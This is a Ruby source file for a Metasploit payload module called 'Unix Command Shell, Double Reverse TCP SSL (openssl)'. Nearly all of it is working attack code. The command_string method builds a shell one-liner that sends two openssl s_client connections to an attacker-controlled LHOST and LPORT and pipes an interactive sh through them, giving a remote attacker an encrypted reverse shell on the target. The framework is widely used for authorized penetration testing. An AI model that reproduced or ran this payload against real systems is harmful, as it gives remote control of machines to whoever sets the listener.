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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp_double_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 182
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Double Reverse TCP SSL (openssl)',
'Description' => 'Creates an interactive shell through two inbound connections',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd =
"sh -c '(sleep #{3600+rand(1024)}|" +
"openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" +
"while : ; do sh && break; done 2>&1|" +
"openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" +
" >/dev/null 2>&1 &)'"
return cmd
end
end
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